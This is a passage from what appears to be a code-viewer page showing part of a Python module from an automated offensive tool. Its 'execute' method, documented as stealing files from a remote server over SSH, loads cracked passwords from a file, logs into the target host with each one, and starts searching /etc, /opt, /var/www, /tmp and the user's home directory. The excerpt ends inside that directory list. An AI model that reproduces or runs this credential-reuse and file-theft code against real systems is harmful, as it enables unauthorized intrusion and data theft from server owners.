Steal files from the remote server using SSH.
(self, ip, port, row, status_key)
| 277 | return False |
| 278 | |
| 279 | def execute(self, ip, port, row, status_key): |
| 280 | """ |
| 281 | Steal files from the remote server using SSH. |
| 282 | """ |
| 283 | try: |
| 284 | if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful |
| 285 | self.shared_data.ragnarorch_status = "StealFilesSSH" |
| 286 | # Wait a bit because it's too fast to see the status change |
| 287 | time.sleep(5) |
| 288 | logger.info(f"Stealing files from {ip}:{port}...") |
| 289 | |
| 290 | # Get SSH credentials from the cracked passwords file |
| 291 | sshfile = self.shared_data.sshfile |
| 292 | credentials = [] |
| 293 | if os.path.exists(sshfile): |
| 294 | with open(sshfile, 'r') as f: |
| 295 | lines = f.readlines()[1:] # Skip the header |
| 296 | for line in lines: |
| 297 | parts = line.strip().split(',') |
| 298 | if parts[1] == ip: |
| 299 | credentials.append((parts[3], parts[4])) |
| 300 | logger.info(f"Found {len(credentials)} credentials for {ip}") |
| 301 | |
| 302 | if not credentials: |
| 303 | logger.error(f"No valid credentials found for {ip}. Skipping...") |
| 304 | return 'failed' |
| 305 | |
| 306 | def timeout(): |
| 307 | """ |
| 308 | Timeout function to stop the execution if no SFTP connection is established. |
| 309 | """ |
| 310 | if not self.sftp_connected: |
| 311 | logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.") |
| 312 | self.stop_execution = True |
| 313 | |
| 314 | timer = Timer(240, timeout) # 4 minutes timeout |
| 315 | timer.start() |
| 316 | |
| 317 | # Attempt to steal files using each credential |
| 318 | success = False |
| 319 | total_downloaded = 0 |
| 320 | |
| 321 | for username, password in credentials: |
| 322 | if self.stop_execution or self.shared_data.orchestrator_should_exit: |
| 323 | logger.info("File search interrupted.") |
| 324 | break |
| 325 | try: |
| 326 | logger.info(f"Trying credential {username} for {ip}") |
| 327 | ssh = self.connect_ssh(ip, username, password) |
| 328 | |
| 329 | # Search in multiple targeted directories instead of just home |
| 330 | search_dirs = [ |
| 331 | self._get_remote_home(ssh, username), |
| 332 | '/etc', |
| 333 | '/opt', |
| 334 | '/var/www', |
| 335 | '/tmp' |
| 336 | ] |
nothing calls this directly
no test coverage detected